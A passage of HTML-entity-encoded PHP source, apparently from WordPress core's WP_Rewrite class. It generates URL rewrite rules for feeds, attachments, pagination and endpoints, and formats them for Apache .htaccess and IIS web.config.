			// Create query for /(feed|atom|rss|rss2|rdf) (see comment near creation of $feedregex).
			$feedmatch2 = $match . $feedregex2;
			$feedquery2 = $feedindex . &#039;?&#039; . $query . &#039;&amp;feed=&#039; . $this-&gt;preg_index( $num_toks + 1 );

			// Create query and regex for embeds.
			$embedmatch = $match . $embedregex;
			$embedquery = $embedindex . &#039;?&#039; . $query . &#039;&amp;embed=true&#039;;

			// If asked to, turn the feed queries into comment feed ones.
			if ( $forcomments ) {
				$feedquery  .= &#039;&amp;withcomments=1&#039;;
				$feedquery2 .= &#039;&amp;withcomments=1&#039;;
			}

			// Start creating the array of rewrites for this dir.
			$rewrite = array();

			// ...adding on /feed/ regexes =&gt; queries.
			if ( $feed ) {
				$rewrite = array(
					$feedmatch  =&gt; $feedquery,
					$feedmatch2 =&gt; $feedquery2,
					$embedmatch =&gt; $embedquery,
				);
			}

			// ...and /page/xx ones.
			if ( $paged ) {
				$rewrite = array_merge( $rewrite, array( $pagematch =&gt; $pagequery ) );
			}

			// Only on pages with comments add ../comment-page-xx/.
			if ( EP_PAGES &amp; $ep_mask || EP_PERMALINK &amp; $ep_mask ) {
				$rewrite = array_merge( $rewrite, array( $commentmatch =&gt; $commentquery ) );
			} elseif ( EP_ROOT &amp; $ep_mask &amp;&amp; get_option( &#039;page_on_front&#039; ) ) {
				$rewrite = array_merge( $rewrite, array( $rootcommentmatch =&gt; $rootcommentquery ) );
			}

			// Do endpoints.
			if ( $endpoints ) {
				foreach ( (array) $ep_query_append as $regex =&gt; $ep ) {
					// Add the endpoints on if the mask fits.
					if ( $ep[0] &amp; $ep_mask || $ep[0] &amp; $ep_mask_specific ) {
						$rewrite[ $match . $regex ] = $index . &#039;?&#039; . $query . $ep[1] . $this-&gt;preg_index( $num_toks + 2 );
					}
				}
			}

			// If we&#039;ve got some tags in this dir.
			if ( $num_toks ) {
				$post = false;
				$page = false;

				/*
				 * Check to see if this dir is permalink-level: i.e. the structure specifies an
				 * individual post. Do this by checking it contains at least one of 1) post name,
				 * 2) post ID, 3) page name, 4) timestamp (year, month, day, hour, second and
				 * minute all present). Set these flags now as we need them for the endpoints.
				 */
				if ( str_contains( $struct, &#039;%postname%&#039; )
					|| str_contains( $struct, &#039;%post_id%&#039; )
					|| str_contains( $struct, &#039;%pagename%&#039; )
					|| ( str_contains( $struct, &#039;%year%&#039; )
						&amp;&amp; str_contains( $struct, &#039;%monthnum%&#039; )
						&amp;&amp; str_contains( $struct, &#039;%day%&#039; )
						&amp;&amp; str_contains( $struct, &#039;%hour%&#039; )
						&amp;&amp; str_contains( $struct, &#039;%minute%&#039; )
						&amp;&amp; str_contains( $struct, &#039;%second%&#039; ) )
				) {
					$post = true;
					if ( str_contains( $struct, &#039;%pagename%&#039; ) ) {
						$page = true;
					}
				}

				if ( ! $post ) {
					// For custom post types, we need to add on endpoints as well.
					foreach ( get_post_types( array( &#039;_builtin&#039; =&gt; false ) ) as $ptype ) {
						if ( str_contains( $struct, &quot;%$ptype%&quot; ) ) {
							$post = true;

							// This is for page style attachment URLs.
							$page = is_post_type_hierarchical( $ptype );
							break;
						}
					}
				}

				// If creating rules for a permalink, do all the endpoints like attachments etc.
				if ( $post ) {
					// Create query and regex for trackback.
					$trackbackmatch = $match . $trackbackregex;
					$trackbackquery = $trackbackindex . &#039;?&#039; . $query . &#039;&amp;tb=1&#039;;

					// Create query and regex for embeds.
					$embedmatch = $match . $embedregex;
					$embedquery = $embedindex . &#039;?&#039; . $query . &#039;&amp;embed=true&#039;;

					// Trim slashes from the end of the regex for this dir.
					$match = rtrim( $match, &#039;/&#039; );

					// Get rid of brackets.
					$submatchbase = str_replace( array( &#039;(&#039;, &#039;)&#039; ), &#039;&#039;, $match );

					// Add a rule for at attachments, which take the form of &lt;permalink&gt;/some-text.
					$sub1 = $submatchbase . &#039;/([^/]+)/&#039;;

					// Add trackback regex &lt;permalink&gt;/trackback/...
					$sub1tb = $sub1 . $trackbackregex;

					// And &lt;permalink&gt;/feed/(atom|...)
					$sub1feed = $sub1 . $feedregex;

					// And &lt;permalink&gt;/(feed|atom...)
					$sub1feed2 = $sub1 . $feedregex2;

					// And &lt;permalink&gt;/comment-page-xx
					$sub1comment = $sub1 . $commentregex;

					// And &lt;permalink&gt;/embed/...
					$sub1embed = $sub1 . $embedregex;

					/*
					 * Add another rule to match attachments in the explicit form:
					 * &lt;permalink&gt;/attachment/some-text
					 */
					$sub2 = $submatchbase . &#039;/attachment/([^/]+)/&#039;;

					// And add trackbacks &lt;permalink&gt;/attachment/trackback.
					$sub2tb = $sub2 . $trackbackregex;

					// Feeds, &lt;permalink&gt;/attachment/feed/(atom|...)
					$sub2feed = $sub2 . $feedregex;

					// And feeds again on to this &lt;permalink&gt;/attachment/(feed|atom...)
					$sub2feed2 = $sub2 . $feedregex2;

					// And &lt;permalink&gt;/comment-page-xx
					$sub2comment = $sub2 . $commentregex;

					// And &lt;permalink&gt;/embed/...
					$sub2embed = $sub2 . $embedregex;

					// Create queries for these extra tag-ons we&#039;ve just dealt with.
					$subquery        = $index . &#039;?attachment=&#039; . $this-&gt;preg_index( 1 );
					$subtbquery      = $subquery . &#039;&amp;tb=1&#039;;
					$subfeedquery    = $subquery . &#039;&amp;feed=&#039; . $this-&gt;preg_index( 2 );
					$subcommentquery = $subquery . &#039;&amp;cpage=&#039; . $this-&gt;preg_index( 2 );
					$subembedquery   = $subquery . &#039;&amp;embed=true&#039;;

					// Do endpoints for attachments.
					if ( ! empty( $endpoints ) ) {
						foreach ( (array) $ep_query_append as $regex =&gt; $ep ) {
							if ( $ep[0] &amp; EP_ATTACHMENT ) {
								$rewrite[ $sub1 . $regex ] = $subquery . $ep[1] . $this-&gt;preg_index( 3 );
								$rewrite[ $sub2 . $regex ] = $subquery . $ep[1] . $this-&gt;preg_index( 3 );
							}
						}
					}

					/*
					 * Now we&#039;ve finished with endpoints, finish off the $sub1 and $sub2 matches
					 * add a ? as we don&#039;t have to match that last slash, and finally a $ so we
					 * match to the end of the URL
					 */
					$sub1 .= &#039;?$&#039;;
					$sub2 .= &#039;?$&#039;;

					/*
					 * Post pagination, e.g. &lt;permalink&gt;/2/
					 * Previously: &#039;(/[0-9]+)?/?$&#039;, which produced &#039;/2&#039; for page.
					 * When cast to int, returned 0.
					 */
					$match = $match . &#039;(?:/([0-9]+))?/?$&#039;;
					$query = $index . &#039;?&#039; . $query . &#039;&amp;page=&#039; . $this-&gt;preg_index( $num_toks + 1 );

					// Not matching a permalink so this is a lot simpler.
				} else {
					// Close the match and finalize the query.
					$match .= &#039;?$&#039;;
					$query  = $index . &#039;?&#039; . $query;
				}

				/*
				 * Create the final array for this dir by joining the $rewrite array (which currently
				 * only contains rules/queries for trackback, pages etc) to the main regex/query for
				 * this dir
				 */
				$rewrite = array_merge( $rewrite, array( $match =&gt; $query ) );

				// If we&#039;re matching a permalink, add those extras (attachments etc) on.
				if ( $post ) {
					// Add trackback.
					$rewrite = array_merge( array( $trackbackmatch =&gt; $trackbackquery ), $rewrite );

					// Add embed.
					$rewrite = array_merge( array( $embedmatch =&gt; $embedquery ), $rewrite );

					// Add regexes/queries for attachments, attachment trackbacks and so on.
					if ( ! $page ) {
						// Require &lt;permalink&gt;/attachment/stuff form for pages because of confusion with subpages.
						$rewrite = array_merge(
							$rewrite,
							array(
								$sub1        =&gt; $subquery,
								$sub1tb      =&gt; $subtbquery,
								$sub1feed    =&gt; $subfeedquery,
								$sub1feed2   =&gt; $subfeedquery,
								$sub1comment =&gt; $subcommentquery,
								$sub1embed   =&gt; $subembedquery,
							)
						);
					}

					$rewrite = array_merge(
						array(
							$sub2        =&gt; $subquery,
							$sub2tb      =&gt; $subtbquery,
							$sub2feed    =&gt; $subfeedquery,
							$sub2feed2   =&gt; $subfeedquery,
							$sub2comment =&gt; $subcommentquery,
							$sub2embed   =&gt; $subembedquery,
						),
						$rewrite
					);
				}
			}
			// Add the rules for this dir to the accumulating $post_rewrite.
			$post_rewrite = array_merge( $rewrite, $post_rewrite );
		}

		// The finished rules. phew!
		return $post_rewrite;
	}

	/**
	 * Generates rewrite rules with permalink structure and walking directory only.
	 *
	 * Shorten version of WP_Rewrite::generate_rewrite_rules() that allows for shorter
	 * list of parameters. See the method for longer description of what generating
	 * rewrite rules does.
	 *
	 * @since 1.5.0
	 *
	 * @see WP_Rewrite::generate_rewrite_rules() See for long description and rest of parameters.
	 *
	 * @param string $permalink_structure The permalink structure to generate rules.
	 * @param bool   $walk_dirs           Optional. Whether to create list of directories to walk over.
	 *                                    Default false.
	 * @return array An array of rewrite rules keyed by their regex pattern.
	 */
	public function generate_rewrite_rule( $permalink_structure, $walk_dirs = false ) {
		return $this-&gt;generate_rewrite_rules( $permalink_structure, EP_NONE, false, false, false, $walk_dirs );
	}

	/**
	 * Constructs rewrite matches and queries from permalink structure.
	 *
	 * Runs the action {@see &#039;generate_rewrite_rules&#039;} with the parameter that is an
	 * reference to the current WP_Rewrite instance to further manipulate the
	 * permalink structures and rewrite rules. Runs the {@see &#039;rewrite_rules_array&#039;}
	 * filter on the full rewrite rule array.
	 *
	 * There are two ways to manipulate the rewrite rules, one by hooking into
	 * the {@see &#039;generate_rewrite_rules&#039;} action and gaining full control of the
	 * object or just manipulating the rewrite rule array before it is passed
	 * from the function.
	 *
	 * @since 1.5.0
	 *
	 * @return string[] An associative array of matches and queries.
	 */
	public function rewrite_rules() {
		$rewrite = array();

		if ( empty( $this-&gt;permalink_structure ) ) {
			return $rewrite;
		}

		// robots.txt -- only if installed at the root.
		$home_path      = parse_url( home_url() );
		$robots_rewrite = ( empty( $home_path[&#039;path&#039;] ) || &#039;/&#039; === $home_path[&#039;path&#039;] ) ? array( &#039;robots\.txt$&#039; =&gt; $this-&gt;index . &#039;?robots=1&#039; ) : array();

		// favicon.ico -- only if installed at the root.
		$favicon_rewrite = ( empty( $home_path[&#039;path&#039;] ) || &#039;/&#039; === $home_path[&#039;path&#039;] ) ? array( &#039;favicon\.ico$&#039; =&gt; $this-&gt;index . &#039;?favicon=1&#039; ) : array();

		// sitemap.xml -- only if installed at the root.
		$sitemap_rewrite = ( empty( $home_path[&#039;path&#039;] ) || &#039;/&#039; === $home_path[&#039;path&#039;] ) ? array( &#039;sitemap\.xml&#039; =&gt; $this-&gt;index . &#039;?sitemap=index&#039; ) : array();

		// Old feed and service files.
		$deprecated_files = array(
			&#039;.*wp-(atom|rdf|rss|rss2|feed|commentsrss2)\.php$&#039; =&gt; $this-&gt;index . &#039;?feed=old&#039;,
			&#039;.*wp-app\.php(/.*)?$&#039; =&gt; $this-&gt;index . &#039;?error=403&#039;,
		);

		// Registration rules.
		$registration_pages = array();
		if ( is_multisite() &amp;&amp; is_main_site() ) {
			$registration_pages[&#039;.*wp-signup.php$&#039;]   = $this-&gt;index . &#039;?signup=true&#039;;
			$registration_pages[&#039;.*wp-activate.php$&#039;] = $this-&gt;index . &#039;?activate=true&#039;;
		}

		// Deprecated.
		$registration_pages[&#039;.*wp-register.php$&#039;] = $this-&gt;index . &#039;?register=true&#039;;

		// Post rewrite rules.
		$post_rewrite = $this-&gt;generate_rewrite_rules( $this-&gt;permalink_structure, EP_PERMALINK );

		/**
		 * Filters rewrite rules used for &quot;post&quot; archives.
		 *
		 * @since 1.5.0
		 *
		 * @param string[] $post_rewrite Array of rewrite rules for posts, keyed by their regex pattern.
		 */
		$post_rewrite = apply_filters( &#039;post_rewrite_rules&#039;, $post_rewrite );

		// Date rewrite rules.
		$date_rewrite = $this-&gt;generate_rewrite_rules( $this-&gt;get_date_permastruct(), EP_DATE );

		/**
		 * Filters rewrite rules used for date archives.
		 *
		 * Likely date archives would include `/yyyy/`, `/yyyy/mm/`, and `/yyyy/mm/dd/`.
		 *
		 * @since 1.5.0
		 *
		 * @param string[] $date_rewrite Array of rewrite rules for date archives, keyed by their regex pattern.
		 */
		$date_rewrite = apply_filters( &#039;date_rewrite_rules&#039;, $date_rewrite );

		// Root-level rewrite rules.
		$root_rewrite = $this-&gt;generate_rewrite_rules( $this-&gt;root . &#039;/&#039;, EP_ROOT );

		/**
		 * Filters rewrite rules used for root-level archives.
		 *
		 * Likely root-level archives would include pagination rules for the homepage
		 * as well as site-wide post feeds (e.g. `/feed/`, and `/feed/atom/`).
		 *
		 * @since 1.5.0
		 *
		 * @param string[] $root_rewrite Array of root-level rewrite rules, keyed by their regex pattern.
		 */
		$root_rewrite = apply_filters( &#039;root_rewrite_rules&#039;, $root_rewrite );

		// Comments rewrite rules.
		$comments_rewrite = $this-&gt;generate_rewrite_rules( $this-&gt;root . $this-&gt;comments_base, EP_COMMENTS, false, true, true, false );

		/**
		 * Filters rewrite rules used for comment feed archives.
		 *
		 * Likely comments feed archives include `/comments/feed/` and `/comments/feed/atom/`.
		 *
		 * @since 1.5.0
		 *
		 * @param string[] $comments_rewrite Array of rewrite rules for the site-wide comments feeds, keyed by their regex pattern.
		 */
		$comments_rewrite = apply_filters( &#039;comments_rewrite_rules&#039;, $comments_rewrite );

		// Search rewrite rules.
		$search_structure = $this-&gt;get_search_permastruct();
		$search_rewrite   = $this-&gt;generate_rewrite_rules( $search_structure, EP_SEARCH );

		/**
		 * Filters rewrite rules used for search archives.
		 *
		 * Likely search-related archives include `/search/search+query/` as well as
		 * pagination and feed paths for a search.
		 *
		 * @since 1.5.0
		 *
		 * @param string[] $search_rewrite Array of rewrite rules for search queries, keyed by their regex pattern.
		 */
		$search_rewrite = apply_filters( &#039;search_rewrite_rules&#039;, $search_rewrite );

		// Author rewrite rules.
		$author_rewrite = $this-&gt;generate_rewrite_rules( $this-&gt;get_author_permastruct(), EP_AUTHORS );

		/**
		 * Filters rewrite rules used for author archives.
		 *
		 * Likely author archives would include `/author/author-name/`, as well as
		 * pagination and feed paths for author archives.
		 *
		 * @since 1.5.0
		 *
		 * @param string[] $author_rewrite Array of rewrite rules for author archives, keyed by their regex pattern.
		 */
		$author_rewrite = apply_filters( &#039;author_rewrite_rules&#039;, $author_rewrite );

		// Pages rewrite rules.
		$page_rewrite = $this-&gt;page_rewrite_rules();

		/**
		 * Filters rewrite rules used for &quot;page&quot; post type archives.
		 *
		 * @since 1.5.0
		 *
		 * @param string[] $page_rewrite Array of rewrite rules for the &quot;page&quot; post type, keyed by their regex pattern.
		 */
		$page_rewrite = apply_filters( &#039;page_rewrite_rules&#039;, $page_rewrite );

		// Extra permastructs.
		foreach ( $this-&gt;extra_permastructs as $permastructname =&gt; $struct ) {
			if ( is_array( $struct ) ) {
				if ( count( $struct ) === 2 ) {
					$rules = $this-&gt;generate_rewrite_rules( $struct[0], $struct[1] );
				} else {
					$rules = $this-&gt;generate_rewrite_rules( $struct[&#039;struct&#039;], $struct[&#039;ep_mask&#039;], $struct[&#039;paged&#039;], $struct[&#039;feed&#039;], $struct[&#039;forcomments&#039;], $struct[&#039;walk_dirs&#039;], $struct[&#039;endpoints&#039;] );
				}
			} else {
				$rules = $this-&gt;generate_rewrite_rules( $struct );
			}

			/**
			 * Filters rewrite rules used for individual permastructs.
			 *
			 * The dynamic portion of the hook name, `$permastructname`, refers
			 * to the name of the registered permastruct.
			 *
			 * Possible hook names include:
			 *
			 *  - `category_rewrite_rules`
			 *  - `post_format_rewrite_rules`
			 *  - `post_tag_rewrite_rules`
			 *
			 * @since 3.1.0
			 *
			 * @param string[] $rules Array of rewrite rules generated for the current permastruct, keyed by their regex pattern.
			 */
			$rules = apply_filters( &quot;{$permastructname}_rewrite_rules&quot;, $rules );

			if ( &#039;post_tag&#039; === $permastructname ) {

				/**
				 * Filters rewrite rules used specifically for Tags.
				 *
				 * @since 2.3.0
				 * @deprecated 3.1.0 Use {@see &#039;post_tag_rewrite_rules&#039;} instead.
				 *
				 * @param string[] $rules Array of rewrite rules generated for tags, keyed by their regex pattern.
				 */
				$rules = apply_filters_deprecated( &#039;tag_rewrite_rules&#039;, array( $rules ), &#039;3.1.0&#039;, &#039;post_tag_rewrite_rules&#039; );
			}

			$this-&gt;extra_rules_top = array_merge( $this-&gt;extra_rules_top, $rules );
		}

		// Put them together.
		if ( $this-&gt;use_verbose_page_rules ) {
			$this-&gt;rules = array_merge( $this-&gt;extra_rules_top, $robots_rewrite, $favicon_rewrite, $sitemap_rewrite, $deprecated_files, $registration_pages, $root_rewrite, $comments_rewrite, $search_rewrite, $author_rewrite, $date_rewrite, $page_rewrite, $post_rewrite, $this-&gt;extra_rules );
		} else {
			$this-&gt;rules = array_merge( $this-&gt;extra_rules_top, $robots_rewrite, $favicon_rewrite, $sitemap_rewrite, $deprecated_files, $registration_pages, $root_rewrite, $comments_rewrite, $search_rewrite, $author_rewrite, $date_rewrite, $post_rewrite, $page_rewrite, $this-&gt;extra_rules );
		}

		/**
		 * Fires after the rewrite rules are generated.
		 *
		 * @since 1.5.0
		 *
		 * @param WP_Rewrite $wp_rewrite Current WP_Rewrite instance (passed by reference).
		 */
		do_action_ref_array( &#039;generate_rewrite_rules&#039;, array( &amp;$this ) );

		/**
		 * Filters the full set of generated rewrite rules.
		 *
		 * @since 1.5.0
		 *
		 * @param string[] $rules The compiled array of rewrite rules, keyed by their regex pattern.
		 */
		$this-&gt;rules = apply_filters( &#039;rewrite_rules_array&#039;, $this-&gt;rules );

		return $this-&gt;rules;
	}

	/**
	 * Retrieves the rewrite rules.
	 *
	 * The difference between this method and WP_Rewrite::rewrite_rules() is that
	 * this method stores the rewrite rules in the &#039;rewrite_rules&#039; option and retrieves
	 * it. This prevents having to process all of the permalinks to get the rewrite rules
	 * in the form of caching.
	 *
	 * @since 1.5.0
	 *
	 * @return string[] Array of rewrite rules keyed by their regex pattern.
	 */
	public function wp_rewrite_rules() {
		$this-&gt;rules = get_option( &#039;rewrite_rules&#039; );
		if ( empty( $this-&gt;rules ) ) {
			$this-&gt;refresh_rewrite_rules();
		}

		return $this-&gt;rules;
	}

	/**
	 * Refreshes the rewrite rules, saving the fresh value to the database.
	 *
	 * If the {@see &#039;wp_loaded&#039;} action has not occurred yet, will postpone saving to the database.
	 *
	 * @since 6.4.0
	 */
	private function refresh_rewrite_rules() {
		$this-&gt;rules   = &#039;&#039;;
		$this-&gt;matches = &#039;matches&#039;;

		$this-&gt;rewrite_rules();

		if ( ! did_action( &#039;wp_loaded&#039; ) ) {
			/*
			 * It is not safe to save the results right now, as the rules may be partial.
			 * Need to give all rules the chance to register.
			 */
			add_action( &#039;wp_loaded&#039;, array( $this, &#039;flush_rules&#039; ) );
		} else {
			update_option( &#039;rewrite_rules&#039;, $this-&gt;rules );
		}
	}

	/**
	 * Retrieves mod_rewrite-formatted rewrite rules to write to .htaccess.
	 *
	 * Does not actually write to the .htaccess file, but creates the rules for
	 * the process that will.
	 *
	 * Will add the non_wp_rules property rules to the .htaccess file before
	 * the WordPress rewrite rules one.
	 *
	 * @since 1.5.0
	 *
	 * @return string
	 */
	public function mod_rewrite_rules() {
		if ( ! $this-&gt;using_permalinks() ) {
			return &#039;&#039;;
		}

		$site_root = parse_url( site_url() );
		if ( isset( $site_root[&#039;path&#039;] ) ) {
			$site_root = trailingslashit( $site_root[&#039;path&#039;] );
		}

		$home_root = parse_url( home_url() );
		if ( isset( $home_root[&#039;path&#039;] ) ) {
			$home_root = trailingslashit( $home_root[&#039;path&#039;] );
		} else {
			$home_root = &#039;/&#039;;
		}

		$rules  = &quot;&lt;IfModule mod_rewrite.c&gt;\n&quot;;
		$rules .= &quot;RewriteEngine On\n&quot;;
		$rules .= &quot;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]\n&quot;;
		$rules .= &quot;RewriteBase $home_root\n&quot;;

		// Prevent -f checks on index.php.
		$rules .= &quot;RewriteRule ^index\.php$ - [L]\n&quot;;

		// Add in the rules that don&#039;t redirect to WP&#039;s index.php (and thus shouldn&#039;t be handled by WP at all).
		foreach ( (array) $this-&gt;non_wp_rules as $match =&gt; $query ) {
			// Apache 1.3 does not support the reluctant (non-greedy) modifier.
			$match = str_replace( &#039;.+?&#039;, &#039;.+&#039;, $match );

			$rules .= &#039;RewriteRule ^&#039; . $match . &#039; &#039; . $home_root . $query . &quot; [QSA,L]\n&quot;;
		}

		if ( $this-&gt;use_verbose_rules ) {
			$this-&gt;matches = &#039;&#039;;
			$rewrite       = $this-&gt;rewrite_rules();
			$num_rules     = count( $rewrite );
			$rules        .= &quot;RewriteCond %{REQUEST_FILENAME} -f [OR]\n&quot; .
				&quot;RewriteCond %{REQUEST_FILENAME} -d\n&quot; .
				&quot;RewriteRule ^.*$ - [S=$num_rules]\n&quot;;

			foreach ( (array) $rewrite as $match =&gt; $query ) {
				// Apache 1.3 does not support the reluctant (non-greedy) modifier.
				$match = str_replace( &#039;.+?&#039;, &#039;.+&#039;, $match );

				if ( str_contains( $query, $this-&gt;index ) ) {
					$rules .= &#039;RewriteRule ^&#039; . $match . &#039; &#039; . $home_root . $query . &quot; [QSA,L]\n&quot;;
				} else {
					$rules .= &#039;RewriteRule ^&#039; . $match . &#039; &#039; . $site_root . $query . &quot; [QSA,L]\n&quot;;
				}
			}
		} else {
			$rules .= &quot;RewriteCond %{REQUEST_FILENAME} !-f\n&quot; .
				&quot;RewriteCond %{REQUEST_FILENAME} !-d\n&quot; .
				&quot;RewriteRule . {$home_root}{$this-&gt;index} [L]\n&quot;;
		}

		$rules .= &quot;&lt;/IfModule&gt;\n&quot;;

		/**
		 * Filters the list of rewrite rules formatted for output to an .htaccess file.
		 *
		 * @since 1.5.0
		 *
		 * @param string $rules mod_rewrite Rewrite rules formatted for .htaccess.
		 */
		$rules = apply_filters( &#039;mod_rewrite_rules&#039;, $rules );

		/**
		 * Filters the list of rewrite rules formatted for output to an .htaccess file.
		 *
		 * @since 1.5.0
		 * @deprecated 1.5.0 Use the {@see &#039;mod_rewrite_rules&#039;} filter instead.
		 *
		 * @param string $rules mod_rewrite Rewrite rules formatted for .htaccess.
		 */
		return apply_filters_deprecated( &#039;rewrite_rules&#039;, array( $rules ), &#039;1.5.0&#039;, &#039;mod_rewrite_rules&#039; );
	}

	/**
	 * Retrieves IIS7 URL Rewrite formatted rewrite rules to write to web.config file.
	 *
	 * Does not actually write to the web.config file, but creates the rules for
	 * the process that will.
	 *
	 * @since 2.8.0
	 *
	 * @param bool $add_parent_tags Optional. Whether to add parent tags to the rewrite rule sets.
	 *                              Default false.
	 * @return string IIS7 URL rewrite rule sets.
	 */
	public function iis7_url_rewrite_rules( $add_parent_tags = false ) {
		if ( ! $this-&gt;using_permalinks() ) {
			return &#039;&#039;;
		}
		$rules = &#039;&#039;;
		if ( $add_parent_tags ) {
			$rules .= &#039;&lt;configuration&gt;
	&lt;system.webServer&gt;
		&lt;rewrite&gt;
			&lt;rules&gt;&#039;;
		}

		$rules .= &#039;
			&lt;rule name=&quot;WordPress: &#039; . esc_attr( home_url() ) . &#039;&quot; patternSyntax=&quot;Wildcard&quot;&gt;
				&lt;match url=&quot;*&quot; /&gt;
					&lt;conditions&gt;
						&lt;add input=&quot;{REQUEST_FILENAME}&quot; matchType=&quot;IsFile&quot; negate=&quot;true&quot; /&gt;
						&lt;add input=&quot;{REQUEST_FILENAME}&quot; matchType=&quot;IsDirectory&quot; negate=&quot;true&quot; /&gt;
					&lt;/conditions&gt;
				&lt;action type=&quot;Rewrite&quot; url=&quot;index.php&quot; /&gt;
			&lt;/rule&gt;&#039;;

		if ( $add_parent_tags ) {
			$rules .= &#039;
			&lt;/rules&gt;
		&lt;/rewrite&gt;
	&lt;/system.webServer&gt;
&lt;/configuration&gt;&#039;;
		}

		/**
		 * Filters the list of rewrite rules formatted for output to a web.config.
		 *
		 * @since 2.8.0
		 *
		 * @param string $rules Rewrite rules formatted for IIS web.config.
		 */
		return apply_filters( &#039;iis7_url_rewrite_rules&#039;, $rules );
	}

	/**
	 * Adds a rewrite rule that transforms a URL structure to a set of query vars.
	 *
	 * Any value in the $after parameter that isn&#039;t &#039;bottom&#039; will result in the rule
	 * being placed at the top of the rewrite rules.
	 *
	 * @since 2.1.0
	 * @since 4.4.0 Array support was added to the `$query` parameter.
	 *
	 * @param string       $regex Regular expression to match request against.
	 * @param string|array $query The corresponding query vars for this rewrite rule.
	 * @param string       $after Optional. Priority of the new rule. Accepts &#039;top&#039;
	 *                            or &#039;bottom&#039;. Default &#039;bottom&#039;.
	 */
	public function add_rule( $regex, $query, $after = &#039;bottom&#039; ) {
		if ( is_array( $query ) ) {
			$external = false;
			$query    = add_query_arg( $query, &#039;index.php&#039; );
		} else {
			$index = ! str_contains( $query, &#039;?&#039; ) ? strlen( $query ) : strpos( $query, &#039;?&#039; );
			$front = substr( $query, 0, $index );

			$external = $front !== $this-&gt;index;
		}

		// &quot;external&quot; = it doesn&#039;t correspond to index.php.
		if ( $external ) {
			$this-&gt;add_external_rule( $regex, $query );
		} else {
			if ( &#039;bottom&#039; === $after ) {
				$this-&gt;extra_rules = array_merge( $this-&gt;extra_rules, array( $regex =&gt; $query ) );
			} else {
				$this-&gt;extra_rules_top = array_merge( $this-&gt;extra_rules_top, array( $regex =&gt; $query ) );
			}
		}
	}

	/**
	 * Adds a rewrite rule that doesn&#039;t correspond to index.php.
	 *
	 * @since 2.1.0
	 *
	 * @param string $regex Regular expression to match request against.
	 * @param string $query The corresponding query vars for this rewrite rule.
	 */
	public function add_external_rule( $regex, $query ) {
		$this-&gt;non_wp_rules[ $regex ] = $query;
	}

	/**
	 * Adds an endpoint, like /trackback/.
	 *
	 * @since 2.1.0
	 * @since 3.9.0 $query_var parameter added.
	 * @since 4.3.0 Added support for skipping query var registration by passing `false` to `$query_var`.
	 *
	 * @see add_rewrite_endpoint() for full documentation.
	 * @global WP $wp Current WordPress environment instance.
	 *
	 * @param string      $name      Name of the endpoint.
	 * @param int         $places    Endpoint mask describing the places the endpoint should be added.
	 *                               Accepts a mask of:
	 *                               - `EP_ALL`
	 *                               - `EP_NONE`
	 *                               - `EP_ALL_ARCHIVES`
	 *                               - `EP_ATTACHMENT`
	 *                               - `EP_AUTHORS`
	 *                               - `EP_CATEGORIES`
	 *                               - `EP_COMMENTS`
	 *                               - `EP_DATE`
	 *                               - `EP_DAY`
	 *                               - `EP_MONTH`
	 *                               - `EP_PAGES`
	 *                               - `EP_PERMALINK`
	 *                               - `EP_ROOT`
	 *                               - `EP_SEARCH`
	 *                               - `EP_TAGS`
	 *                               - `EP_YEAR`
	 * @param string|bool $query_var Optional. Name of the corresponding query variable. Pass `false` to
	 *                               skip registering a query_var for this endpoint. Defaults to the
	 *                               value of `$name`.
	 */
	public function add_endpoint( $name, $places, $query_var = true ) {
		global $wp;

		// For backward compatibility, if null has explicitly been passed as `$query_var`, assume `true`.
		if ( true === $query_var || null === $query_var ) {
			$query_var = $name;
		}
		$this-&gt;endpoints[] = array( $places, $name, $query_var );

		if ( $query_var ) {
			$wp-&gt;add_query_var( $query_var );
		}
	}

	/**
	 * Adds a new permalink structure.
	 *
	 * A permalink structure (permastruct) is an abstract definition of a set of rewrite rules;
	 * it is an easy way of expressing a set of regular expressions that rewrite to a set of
	 * query strings. The new permastruct is added to the WP_Rewrite::$extra_permastructs array.
	 *
	 * When the rewrite rules are built by WP_Rewrite::rewrite_rules(), all of these extra
	 * permastructs are passed to WP_Rewrite::generate_rewrite_rules() which transforms them
	 * into the regular expressions that many love to hate.
	 *
	 * The `$args` parameter gives you control over how WP_Rewrite::generate_rewrite_rules()
	 * works on the new permastruct.
	 *
	 * @since 2.5.0
	 *
	 * @param string $name   Name for permalink structure.
	 * @param string $struct Permalink structure (e.g. category/%category%)
	 * @param array  $args   {
	 *     Optional. Arguments for building rewrite rules based on the permalink structure.
	 *     Default empty array.
	 *
	 *     @type bool $with_front  Whether the structure should be prepended with `WP_Rewrite::$front`.
	 *                             Default true.
	 *     @type int  $ep_mask     The endpoint mask defining which endpoints are added to the structure.
	 *                             Accepts a mask of:
	 *                             - `EP_ALL`
	 *                             - `EP_NONE`
	 *                             - `EP_ALL_ARCHIVES`
	 *                             - `EP_ATTACHMENT`
	 *                             - `EP_AUTHORS`
	 *                             - `EP_CATEGORIES`
	 *                             - `EP_COMMENTS`
	 *                             - `EP_DATE`
	 *                             - `EP_DAY`
	 *                             - `EP_MONTH`
	 *                             - `EP_PAGES`
	 *                             - `EP_PERMALINK`
	 *                             - `EP_ROOT`
	 *                             - `EP_SEARCH`
	 *                             - `EP_TAGS`
	 *                             - `EP_YEAR`
	 *                             Default `EP_NONE`.
	 *     @type bool $paged       Whether archive pagination rules should be added for the structure.
	 *                             Default true.
	 *     @type bool $feed        Whether feed rewrite rules should be added for the structure. Default true.
	 *     @type bool $forcomments Whether the feed rules should be a query for a comments feed. Default false.
	 *     @type bool $walk_dirs   Whether the &#039;directories&#039; making up the structure should be walked over
	 *                             and rewrite rules built for each in-turn. Default true.
	 *     @type bool $endpoints   Whether endpoints should be applied to the generated rules. Default true.
	 * }
	 */
	public function add_permastruct( $name, $struct, $args = array() ) {
		// Back-compat for the old parameters: $with_front and $ep_mask.
		if ( ! is_array( $args ) ) {
			$args = array( &#039;with_front&#039; =&gt; $args );
		}

		if ( func_num_args() === 4 ) {
			$args[&#039;ep_mask&#039;] = func_get_arg( 3 );
		}

		$defaults = array(
			&#039;with_front&#039;  =&gt; true,
			&#039;ep_mask&#039;     =&gt; EP_NONE,
			&#039;paged&#039;       =&gt; true,
			&#039;feed&#039;        =&gt; true,
			&#039;forcomments&#039; =&gt; false,
			&#039;walk_dirs&#039;   =&gt; true,
			&#039;endpoints&#039;   =&gt; true,
		);

		$args = array_intersect_key( $args, $defaults );
		$args = wp_parse_args( $args, $defaults );

		if ( $args[&#039;with_front&#039;] ) {
			$struct = $this-&gt;front . $struct;
		} else {
			$struct = $this-&gt;root . $struct;
		}

		$args[&#039;struct&#039;] = $struct;

